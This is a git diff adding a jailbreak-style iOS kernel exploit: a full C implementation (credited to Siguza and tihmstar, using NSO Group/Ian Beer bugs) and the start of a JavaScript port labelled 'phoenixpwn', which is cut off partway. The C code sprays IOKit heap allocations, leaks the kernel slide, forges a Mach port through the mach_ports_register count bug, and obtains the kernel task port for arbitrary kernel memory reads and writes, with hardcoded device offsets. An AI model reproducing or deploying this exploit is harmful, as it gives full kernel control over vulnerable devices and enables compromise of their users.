diff options
Diffstat (limited to 'src/stage4/kexp')
| -rw-r--r-- | src/stage4/kexp/exploit.c | 895 | ||||
| -rwxr-xr-x | src/stage4/kexp/exploit.js | 557 |
2 files changed, 1452 insertions, 0 deletions
diff --git a/src/stage4/kexp/exploit.c b/src/stage4/kexp/exploit.c new file mode 100644 index 0000000..b33a74c --- /dev/null +++ b/src/stage4/kexp/exploit.c @@ -0,0 +1,895 @@ +// Bugs by NSO Group / Ian Beer. +// Exploit by Siguza & tihmstar. +// Thanks also to Max Bazaliy. + +#include <stdint.h> // uint32_t, uint64_t +#include <stdio.h> // fprintf, stderr +#include <string.h> // memcpy, memset, strncmp +#include <unistd.h> // getpid +#include <mach/mach.h> +#include <stdlib.h> + +#include <IOKit/IOKitLib.h> +#include <IOKit/iokitmig.h> +#include <assert.h> +#include <sched.h> + +/*#include "nexploit.h" +#include "offsetfinder.h" +#include "thread.h"*/ + +kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs); + +void suspend_all_threads() { + thread_act_t other_thread, current_thread; + unsigned int thread_count; + thread_act_array_t thread_list; + + current_thread = mach_thread_self(); + int result = task_threads(mach_task_self(), &thread_list, &thread_count); + if (result == -1) { + exit(1); + } + if (!result && thread_count) { + for (unsigned int i = 0; i < thread_count; ++i) { + other_thread = thread_list[i]; + if (other_thread != current_thread) { + int kr = thread_suspend(other_thread); + if (kr != KERN_SUCCESS) { + mach_error("thread_suspend:", kr); + exit(1); + } + } + } + } +} + +void resume_all_threads() { + thread_act_t other_thread, current_thread; + unsigned int thread_count; + thread_act_array_t thread_list; + + current_thread = mach_thread_self(); + int result = task_threads(mach_task_self(), &thread_list, &thread_count); + if (result == -1) { + exit(1); + } + if (!result && thread_count) { + for (unsigned int i = 0; i < thread_count; ++i) { + other_thread = thread_list[i]; + if (other_thread != current_thread) { + int kr = thread_resume(other_thread); + if (kr != KERN_SUCCESS) { + mach_error("thread_suspend:", kr); + exit(1); + } + } + } + } +} + +uint32_t find_kerneltask(){ + // A5: + return 0x8041200c; + // A6: + // return 0x8041a00c; +} + +uint32_t find_ipcspacekernel(){ + // A5: + return 0x80456664; + // A6: + // return 0x8045e798; +} + +#define SIZEOF_BYTES_MSG 384 + +enum +{ + kOSSerializeDictionary = 0x01000000U, + kOSSerializeArray = 0x02000000U, + kOSSerializeSet = 0x03000000U, + kOSSerializeNumber = 0x04000000U, + kOSSerializeSymbol = 0x08000000U, + kOSSerializeString = 0x09000000U, + kOSSerializeData = 0x0a000000U, + kOSSerializeBoolean = 0x0b000000U, + kOSSerializeObject = 0x0c000000U, + + kOSSerializeTypeMask = 0x7F000000U, + kOSSerializeDataMask = 0x00FFFFFFU, + + kOSSerializeEndCollection = 0x80000000U, + + kOSSerializeMagic = 0x000000d3U, +}; + +uintptr_t kslide = 0; +mach_port_t fakeportData; + + +#define MIG_MAX 0x1000 +#define PUSH(v) \ +do \ +{ \ + if(idx >= MIG_MAX / sizeof(uint32_t)) \ + { \ + return KERN_NO_SPACE; \ + } \ + dict[idx] = (v); \ + ++idx; \ +} while(0) + + +/*** XXX ***/ +// TODO: rework this to a lookup table/registry + +////#define KERNEL_TASK 0x8041200c //iPod5,1 +//#define KERNEL_TASK 0x8041a00c //iPhone5,2 9.3.3 +// +//// easiest to grab in convert_task_suspension_token_to_port +////#define IPC_SPACE_KERNEL 0x80456664 //iPod5,1 +//#define IPC_SPACE_KERNEL 0x8045e798 //iPhone5,2 9.3.3 + +#define TASK_BSDINFO_OFFSET 0x200 +#define BSDINFO_PID_OFFSET 0x8 +/*** XXX ***/ + + +static kern_return_t spray_data(const void *mem, size_t size, size_t num, mach_port_t *port) +{ + kern_return_t err, ret; + static io_master_t master = MACH_PORT_NULL; + if(master == MACH_PORT_NULL) + { + ret = host_get_io_master(mach_host_self(), &master); + if(ret != KERN_SUCCESS) + { + return ret; + } + } + + if(size > SIZEOF_BYTES_MSG) + { + return KERN_NO_SPACE; + } + + uint32_t dict[MIG_MAX / sizeof(uint32_t)] = { 0 }; + size_t idx = 0; + + PUSH(kOSSerializeMagic); + PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1); + PUSH(kOSSerializeSymbol | 4); + PUSH(0x0079656b); // "key" + PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num); + + for(size_t i = 0; i < num; ++i) + { + PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG); + if(mem && size) + { + memcpy(&dict[idx], mem, size); + } + memset((char*)&dict[idx] + size, 0, SIZEOF_BYTES_MSG - size); + idx += SIZEOF_BYTES_MSG / 4; + } + + ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, idx * sizeof(uint32_t), MACH_PORT_NULL, NULL, 0, &err, port); + if(ret == KERN_SUCCESS) + { + ret = err; + } + return ret; +} + + +#define msgh_request_port msgh_remote_port +#define msgh_reply_port msgh_local_port + +static kern_return_t r3gister(task_t task, mach_port_array_t init_port_set, mach_msg_type_number_t real_count, mach_msg_type_number_t fake_count) +{ +#pragma pack(4) + typedef struct { + mach_msg_header_t Head; + mach_msg_body_t msgh_body; + mach_msg_ool_ports_descriptor_t init_port_set; + NDR_record_t NDR; + mach_msg_type_number_t init_port_setCnt; + } Request; + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_trailer_t trailer; + } Reply; +#pragma pack() + + union { + Request In; + Reply Out; + } Mess; + Request *InP = &Mess.In; + Reply *OutP = &Mess.Out; + + InP->msgh_body.msgh_descriptor_count = 1; + InP->init_port_set.address = (void*)(init_port_set); + InP->init_port_set.count = real_count; + InP->init_port_set.disposition = 19; + InP->init_port_set.deallocate = FALSE; + InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; + InP->NDR = NDR_record; + InP->init_port_setCnt = fake_count; // was real_count + InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); + InP->Head.msgh_request_port = task; + InP->Head.msgh_reply_port = mig_get_reply_port(); + InP->Head.msgh_id = 3403; + + kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + if(ret == KERN_SUCCESS) + { + ret = OutP->RetCode; + } + return ret; +} + +#if 0 +static kern_return_t io_registry_entry_get_property_bytes(mach_port_t registry_entry, io_name_t property_name, io_struct_inband_t data, mach_msg_type_number_t *dataCnt) +{ + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */ + mach_msg_type_number_t property_nameCnt; + char property_name[128]; + mach_msg_type_number_t dataCnt; + } Request __attribute__((unused)); +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t dataCnt; + char data[4096]; + mach_msg_trailer_t trailer; + } Reply __attribute__((unused)); +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t dataCnt; + char data[4096]; + } __Reply __attribute__((unused)); +#ifdef __MigPackStructs +#pragma pack() +#endif + /* + * typedef struct { + * mach_msg_header_t Head; + * NDR_record_t NDR; + * kern_return_t RetCode; + * } mig_reply_error_t; + */ + + union { + Request In; + Reply Out; + } Mess; + + Request *InP = &Mess.In; + Reply *Out0P = &Mess.Out; + + mach_msg_return_t msg_result; + unsigned int msgh_size; + unsigned int msgh_size_delta; + + +#ifdef __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined + kern_return_t check_result; +#endif /* __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined */ + + __DeclareSendRpc(2812, "io_registry_entry_get_property_bytes") + + InP->NDR = NDR_record; + +#ifdef USING_MIG_STRNCPY_ZEROFILL + if (mig_strncpy_zerofill != NULL) { + InP->property_nameCnt = mig_strncpy_zerofill(InP->property_name, property_name, 128); + } else { +#endif /* USING_MIG_STRNCPY_ZEROFILL */ + InP->property_nameCnt = mig_strncpy(InP->property_name, property_name, 128); +#ifdef USING_MIG_STRNCPY_ZEROFILL + } +#endif /* USING_MIG_STRNCPY_ZEROFILL */ + + msgh_size_delta = _WALIGN_(InP->property_nameCnt); + msgh_size = (mach_msg_size_t)(sizeof(Request) - 128) + msgh_size_delta; + InP = (Request *) ((pointer_t) InP + msgh_size_delta - 128); + + if (*dataCnt < 4096) + InP->dataCnt = *dataCnt; + else + InP->dataCnt = 4096; + + InP = &Mess.In; + InP->Head.msgh_bits = + MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); + /* msgh_size passed as argument */ + InP->Head.msgh_request_port = registry_entry; + InP->Head.msgh_reply_port = mig_get_reply_port(); + InP->Head.msgh_id = 2812; + InP->Head.msgh_reserved = 0; + +/* BEGIN VOUCHER CODE */ + +#ifdef USING_VOUCHERS + if (voucher_mach_msg_set != NULL) { + voucher_mach_msg_set(&InP->Head); + } +#endif // USING_VOUCHERS + +/* END VOUCHER CODE */ + + __BeforeSendRpc(2812, "io_registry_entry_get_property_bytes") + msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + __AfterSendRpc(2812, "io_registry_entry_get_property_bytes") + if (msg_result != MACH_MSG_SUCCESS) { + __MachMsgErrorWithoutTimeout(msg_result); + { return msg_result; } + } + + +#if defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined) + check_result = __MIG_check__Reply__io_registry_entry_get_property_bytes_t((__Reply__io_registry_entry_get_property_bytes_t *)Out0P); + if (check_result != MACH_MSG_SUCCESS) + { return check_result; } +#endif /* defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined) */ + + if (Out0P->dataCnt > *dataCnt) { + (void)memcpy((char *) data, (const char *) Out0P->data, *dataCnt); + *dataCnt = Out0P->dataCnt; + { return MIG_ARRAY_TOO_LARGE; } + } + (void)memcpy((char *) data, (const char *) Out0P->data, Out0P->dataCnt); + + *dataCnt = Out0P->dataCnt; + + return KERN_SUCCESS; +} +#endif + +typedef struct __attribute__((__packed__)) { + uint32_t ip_bits; + uint32_t ip_references; + struct __attribute__((__packed__)) { + uint32_t data; + uint32_t pad; + uint32_t type; + } ip_lock; + struct __attribute__((__packed__)) { + struct __attribute__((__packed__)) { + struct __attribute__((__packed__)) { + uint32_t flags; + uintptr_t waitq_interlock; + uint64_t waitq_set_id; + uint64_t waitq_prepost_id; + struct __attribute__((__packed__)) { + uintptr_t next; + uintptr_t prev; + } waitq_queue; + } waitq; + uintptr_t messages; + natural_t seqno; + natural_t receiver_name; + uint16_t msgcount; + uint16_t qlimit; + } port; + uintptr_t imq_klist; + } ip_messages; + natural_t ip_flags; + uintptr_t ip_receiver; + uintptr_t ip_kobject; + uintptr_t ip_nsrequest; + uintptr_t ip_pdrequest; + uintptr_t ip_requests; + uintptr_t ip_premsg; + uint64_t ip_context; + natural_t ip_mscount; + natural_t ip_srights; + natural_t ip_sorights; +} kport_t; + +#define LOG(str, args...) \ +do \ +{ \ + fprintf(stderr, str " [%u]\n", ##args, __LINE__); \ +} while(0) + +#define OUT_LABEL(label, code...) \ +do \ +{ \ + ret = (code); \ + if(ret != KERN_SUCCESS) \ + { \ + LOG(#code ": %s (%u)", mach_error_string(ret), ret); \ + goto label; \ + } \ +} while(0) + +#define OUT(code...) OUT_LABEL(out, ##code) + + +uint32_t copyinPort(kport_t *kport, int cnt){ + + kern_return_t err, ret; + task_t self = mach_task_self(); + io_service_t service = MACH_PORT_NULL; + io_connect_t client = MACH_PORT_NULL; + io_iterator_t it = MACH_PORT_NULL; + io_object_t o = MACH_PORT_NULL; + + mach_port_t data; + OUT(spray_data(NULL, 0, 5, &data)); + + service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileFileIntegrity")); + if(!MACH_PORT_VALID(service)) + { + LOG("Invalid service"); + goto out; + } + char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; + + kport_t *kpbuf = (kport_t*)(tst+4); + for (int i=0; i<cnt; i++) { + kpbuf[i] = kport[i]; + } + + const char xml[] = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>"; + OUT(io_service_open_extended(service, self, 0, NDR_record, (char*)xml, sizeof(xml), &err, &client)); + + OUT(IORegistryEntryGetChildIterator(service, "IOService", &it)); + + bool found = false; + while((o = IOIteratorNext(it)) != MACH_PORT_NULL && !found) + { + uintptr_t buf[16]; + uint32_t size = (uint32_t)sizeof(buf); + ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", (char*)buf, &size); + if(ret == KERN_SUCCESS) + { + mach_port_deallocate(self, data); + data = MACH_PORT_NULL; + //OUT(spray_data(&kport, sizeof(kport), 16, &data)); + OUT(spray_data(tst, sizeof(tst), 10, &fakeportData)); + + kslide = ((buf[9] & 0xFFF00000) + 0x1000) -0x80001000; + return (uint32_t)buf[4] - 0x78; + + /* BREAKPOINT HERE */ + + found = true; + } + IOObjectRelease(o); + o = MACH_PORT_NULL; + } + +out:; + if(it != MACH_PORT_NULL) + { + IOObjectRelease(it); + it = MACH_PORT_NULL; + } + if(client != MACH_PORT_NULL) + { + IOObjectRelease(client); + client = MACH_PORT_NULL; + } + if(service != MACH_PORT_NULL) + { + IOObjectRelease(service); + service = MACH_PORT_NULL; + } + if(data != MACH_PORT_NULL) + { + mach_port_deallocate(self, data); + data = MACH_PORT_NULL; + } + return 0; +} + +#pragma pack(4) +typedef struct { + mach_msg_header_t Head; + mach_msg_body_t msgh_body; + mach_msg_ool_ports_descriptor_t init_port_set[]; +} Request; +#pragma pack() + +void release_port_ptrs(mach_port_t port){ + char req[sizeof(Request) + 5 * sizeof(mach_msg_ool_ports_descriptor_t) + sizeof(mach_msg_trailer_t)]; + if (mach_msg((mach_msg_header_t*)req, MACH_RCV_MSG, 0, sizeof(req), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL) != KERN_SUCCESS) + printf("[!] Error mach_recv\n"); +} + +mach_port_t kp = 0; +mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) { + if (!kp) { + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp); + mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND); + } + + mach_port_t mp = 0; + + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp); + mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND); + + assert(0 == send_ports(mp, kp, 2, number_port_descs)); + + return mp; +} + +kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs) +{ + mach_port_t init_port_set[num]; + for(size_t i = 0; i < num; ++i) + { + init_port_set[i] = payload; + } + + typedef struct { + mach_msg_header_t Head; + mach_msg_body_t msgh_body; + mach_msg_ool_ports_descriptor_t init_port_set[0]; + } Request; + + char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)]; + Request *InP = (Request*)buf; + InP->msgh_body.msgh_descriptor_count = number_port_descs; + for (int i = 0; i < number_port_descs; i++) { + InP->init_port_set[i].address = (void *)(init_port_set); + InP->init_port_set[i].count = num; + InP->init_port_set[i].disposition = 19; + InP->init_port_set[i].deallocate = FALSE; + InP->init_port_set[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; + } + + InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); + /* msgh_size passed as argument */ + InP->Head.msgh_request_port = target; + InP->Head.msgh_reply_port = 0; + InP->Head.msgh_id = 1337; + + return mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); +} + +uint32_t spray_data2(char *data, size_t datasize, unsigned count) +{ + kern_return_t kr = 0, err = 0; + mach_port_t master = MACH_PORT_NULL; + io_service_t serv = 0; + io_connect_t conn = 0; + + + char dict[4096+512]; + uint32_t idx = 0; // index into our data + +#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0) + + WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning + + WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 1)); // dictionary with two entries + + WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte + WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian + + WRITE_IN(dict, (kOSSerializeArray | kOSSerializeEndCollection | count)); // key with symbol, 3 chars + NUL byte + + for (int i=0; i<count; i++) { + WRITE_IN(dict, ((i == count-1 ? kOSSerializeEndCollection : 0) | kOSSerializeData | datasize)); // key with symbol, 3 chars + NUL byte + memcpy((char*)dict+idx, data, datasize); + idx += datasize; + } + + host_get_io_master(mach_host_self(), &master); // get iokit master port + + serv = IOServiceGetMatchingService(master, IOServiceMatching("AppleMobileFileIntegrity")); + + kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn); + if (kr != KERN_SUCCESS) + return printf("failed to spawn UC\n"),-1; + return 0; +} + +static kern_return_t prepare_ptr(uint32_t *dict, size_t *size, uintptr_t ptr, size_t num) +{ + size_t idx = 0; + + PUSH(kOSSerializeMagic); + PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1); + PUSH(kOSSerializeSymbol | 4); + PUSH(0x0079656b); // "key" + PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num); + + for(size_t i = 0; i < num; ++i) + { + PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8); + PUSH(ptr); + PUSH(ptr); + } + + *size = idx * sizeof(uint32_t); + return KERN_SUCCESS; +} + +static kern_return_t spray(const void *dict, size_t size, mach_port_t *port) +{ + kern_return_t err, ret; + static io_master_t master = MACH_PORT_NULL; + if(master == MACH_PORT_NULL) + { + ret = host_get_io_master(mach_host_self(), &master); + if(ret != KERN_SUCCESS) + { + return ret; + } + } + + ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, (uint32_t)size, MACH_PORT_NULL, NULL, 0, &err, port); + if(ret == KERN_SUCCESS) + { + ret = err; + } + return ret; +} + +static mach_port_t sanity_port = MACH_PORT_NULL; +static uintptr_t kernel_task_addr = 0; + +task_t get_kernel_task(void){ + kern_return_t ret; + + OUT(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sanity_port)); + OUT(mach_port_insert_right(mach_task_self(), sanity_port, sanity_port, MACH_MSG_TYPE_MAKE_SEND)); + mach_port_limits_t limits = { .mpl_qlimit = 1000 }; + OUT(mach_port_set_attributes(mach_task_self(), sanity_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT)); + + suspend_all_threads(); + + printf("starting exploit\n"); + + char data[16]; + kport_t kport[2] = {}; + uintptr_t *ptr = (uintptr_t*)(kport + 1); + kport->ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK + kport->ip_references = 100; + kport->ip_lock.type = 0x11; + kport->ip_messages.port.qlimit = 777; + kport->ip_receiver = 0x12345678; // dummy + kport->ip_srights = 99; + + + void *big_buf = malloc(MIG_MAX), + *small_buf = malloc(MIG_MAX); + size_t big_size = 0, + small_size = 0; + + +#define PORTS_NUM 1024 +#define PORTS_NUM_PRESPRAY 100 + mach_port_t fp[PORTS_NUM]; + mach_port_t postSpray; + + usleep(10000); + sched_yield(); + uint32_t kptr = copyinPort(kport,2); + + printf("0x%08x\n",kptr); + *(uint32_t*)(data) = kptr; + *(uint32_t*)(data+4) = kptr; + OUT(prepare_ptr(big_buf, &big_size, kptr, 256)); + OUT(prepare_ptr(small_buf, &small_size, kptr, 32)); + +again: + sched_yield(); +// for (int i=0; i<PORTS_NUM_PRESPRAY; i++) { +// spray_ports(1024); +// } +// spray_data2(data, 8, 256); +// spray_data2(data, 8, 256); +// spray_data2(data, 8, 256); +// spray_data2(data, 8, 256); +// spray_data2(data, 8, 256); +// spray_data2(data, 8, 256); + for(size_t i = 0; i < PORTS_NUM_PRESPRAY; ++i){ + mach_port_t dummy; + spray(big_buf, big_size, &dummy); + } + + sched_yield(); + for (int i = 0; i < PORTS_NUM; i++) { + fp[i] = spray_ports(1); + mach_port_t dummy; + spray(small_buf, small_size, &dummy); +// spray_data2(data, 8, 32); + } + + sched_yield(); + for (int i = 0; i < PORTS_NUM; i++) { + release_port_ptrs(fp[i]); + } + + mach_port_t arr[2] = {MACH_PORT_NULL,MACH_PORT_NULL}; + r3gister(mach_task_self(),arr,2,3); + printf("r3gister done\n"); + + mach_port_t *arrz=0; + mach_msg_type_number_t sz = 3; + mach_ports_lookup(mach_task_self(), &arrz, &sz); + printf("done %x %x %x %x\n", arrz[0], arrz[1], arrz[2], kp); + mach_port_t fake_port = arrz[2]; + if(!MACH_PORT_VALID(fake_port)) + { + printf("Exploit failed, retrying...\n"); + goto again; + } + + kport[0].ip_kobject = kptr + sizeof(*kport) - TASK_BSDINFO_OFFSET; + *ptr = find_kerneltask() + kslide - BSDINFO_PID_OFFSET; + + char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; + kport_t *kpbuf = (kport_t*)(tst+4); + for (int i=0; i<2; i++) { + kpbuf[i] = kport[i]; + } + usleep(10000); + sched_yield(); + mach_port_destroy(mach_task_self(), fakeportData); + OUT(spray_data(tst, sizeof(tst), 10, &fakeportData)); + printf("done realloc\n"); + + OUT(pid_for_task(fake_port, (int*)&kernel_task_addr)); + LOG("kernel_task address: 0x%08lx", kernel_task_addr); + + *ptr = find_ipcspacekernel() + kslide - BSDINFO_PID_OFFSET; + memset(tst, 0x44, sizeof(tst)); + for (int i=0; i<2; i++) { + kpbuf[i] = kport[i]; + } + + usleep(10000); + sched_yield(); + mach_port_destroy(mach_task_self(), fakeportData); + OUT(spray_data(tst, sizeof(tst), 10, &fakeportData)); + printf("done realloc2\n"); + + uintptr_t ipc_space_kernel_addr = 0; + OUT(pid_for_task(fake_port, (int*)&ipc_space_kernel_addr)); + LOG("ipc_space_kernel address: 0x%08lx", ipc_space_kernel_addr); + + if (ipc_space_kernel_addr == kernel_task_addr) { + printf("Error: failed to leak pointers\n"); + goto out; + } + + kport->ip_receiver = ipc_space_kernel_addr; + kport->ip_kobject = kernel_task_addr; + memset(tst, 0x45, sizeof(tst)); + for (int i=0; i<2; i++) { + kpbuf[i] = kport[i]; + } + + OUT(spray_data(tst, sizeof(tst), 10, &postSpray)); + mach_port_destroy(mach_task_self(), postSpray); + printf("done postspray\n"); + + usleep(10000); + sched_yield(); + mach_port_destroy(mach_task_self(), fakeportData); + OUT(spray_data(tst, sizeof(tst), 10, &fakeportData)); + printf("done realloc3\n"); + + resume_all_threads(); + + return fake_port; + out: + if(MACH_PORT_VALID(fake_port)) + { + ret = send_ports(sanity_port, fake_port, 1, 1); + if(ret == KERN_SUCCESS) + { + fake_port = MACH_PORT_NULL; + printf("Exploit failed, retrying...\n"); + goto again; + } + printf("send_ports(): %s\n", mach_error_string(ret)); + } + printf("Error: exploit failed :(\n"); + return MACH_PORT_NULL; +} + +uintptr_t kbase(){ + return 0x80001000 + kslide; +} + +#if 0 +void exploit(){ + mach_port_t taskHacked = get_kernel_task(); + uintptr_t kbase = 0x80001000 + kslide; + printf("got kerneltask!\n"); + printf("kbase=%p\n",(void*)kbase); + + char kdata[0x100]; + memset(kdata, 0, 0x100); + vm_size_t bytesRead=0x100; + + kern_return_t kr=vm_read_overwrite(taskHacked, kbase, bytesRead, (vm_address_t)kdata, &bytesRead); + printf("vm_read_overwrite=0x%08x\n",kr); + + printf("DONE!!!\n"); +} +#endif + +void exploit_cleanup(task_t kernel_task) +{ + kern_return_t ret; + + mach_port_t self = mach_task_self(); + OUT(r3gister(kernel_task, &self, 1, 1)); + + vm_address_t portaddr = 0; + vm_size_t sz = sizeof(portaddr); + OUT(vm_read_overwrite(kernel_task, kernel_task_addr+0x1ac, sz, (vm_address_t)&portaddr, &sz)); + + vm_address_t mytaskaddr = 0; + vm_size_t size = sizeof(mytaskaddr); + OUT(vm_read_overwrite(kernel_task, portaddr+__builtin_offsetof(kport_t, ip_kobject), size, (vm_address_t)&mytaskaddr, &size)); + printf("mytaskaddr = 0x%08x\n", mytaskaddr); + + mach_port_t none = 0; + OUT(r3gister(mach_task_self(), &none, 1, 1)); + +#pragma pack(4) + typedef struct { + mach_msg_header_t Head; + mach_msg_body_t msgh_body; + mach_msg_ool_ports_descriptor_t init_port_set[1]; + mach_msg_trailer_t trailer; + } Reply; +#pragma pack() + Reply reply; + + while(1) + { + ret = mach_msg(&reply.Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(reply), sanity_port, 0, MACH_PORT_NULL); + if(ret != KERN_SUCCESS) + { + printf("cleanup done\n"); + break; + } + mach_port_t *port = reply.init_port_set[0].address; + + printf("Unregistering port %x...\n", *port); + mach_port_t arr[3] = { MACH_PORT_NULL, MACH_PORT_NULL, *port }; + OUT(r3gister(mach_task_self(), arr, 3, 3)); + uintptr_t zero = 0; + OUT(vm_write(kernel_task, mytaskaddr + 0x1b4, (vm_offset_t)&zero, sizeof(zero))); + } + + out:; +}
\ No newline at end of file diff --git a/src/stage4/kexp/exploit.js b/src/stage4/kexp/exploit.js new file mode 100755 index 0000000..04b7c34 --- /dev/null +++ b/src/stage4/kexp/exploit.js @@ -0,0 +1,557 @@ +/* + * phoenixpwn kernel exploit + * reimplemented in JS + * greetz to @s1guza, @tihmstar, @i41nbeer, @mbazaliy + */ + +var sanity_port = 0; +var MACH_PORT_RIGHT_RECEIVE = 0x1; +var MACH_MSG_TYPE_MAKE_SEND = 0x14; +var MACH_PORT_LIMITS_INFO = 0x1; +var MACH_PORT_LIMITS_INFO_COUNT = 0x1; +var kport_size = 0x78; +var kport_ip_bits4 = 0x0; +var kport_ip_references4 = 0x4; +var kport_ip_lock_type4 = 0x10; +var kport_ip_messages_port_qlimit2 = 0x42; +var kport_ip_receiver4 = 0x4c; +var kport_ip_srights4 = 0x70; +var KERN_SUCCESS = 0; +var NULL = 0; +var MACH_PORT_NULL = 0; +var req_init_port_set = 0x1c; +var req_head_msgh_bits = 0x0; +var req_head_msgh_request_port = 0x8; +var req_head_msgh_reply_port = 0xc; +var req_head_msgh_id = 0x14; +var req_msgh_body_msgh_descriptor_count = 0x18; +var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x2; +var req_init_port_set_address = 0x0; +var req_init_port_set_count = 0x4; +var MACH_RCV_MSG = 0x2; +var MACH_MSG_TIMEOUT_NONE = 0; +var TASK_BSDINFO_OFFSET = 0x200; +var BSDINFO_PID_OFFSET = 0x8; + +function find_kerneltask() { + return 0x8041200c; +} + +function find_ipcspacekernel() { + return 0x80456664; +} + +var task_self = 0; +var kslide = 0; + +var fakeportData = 0; + +var 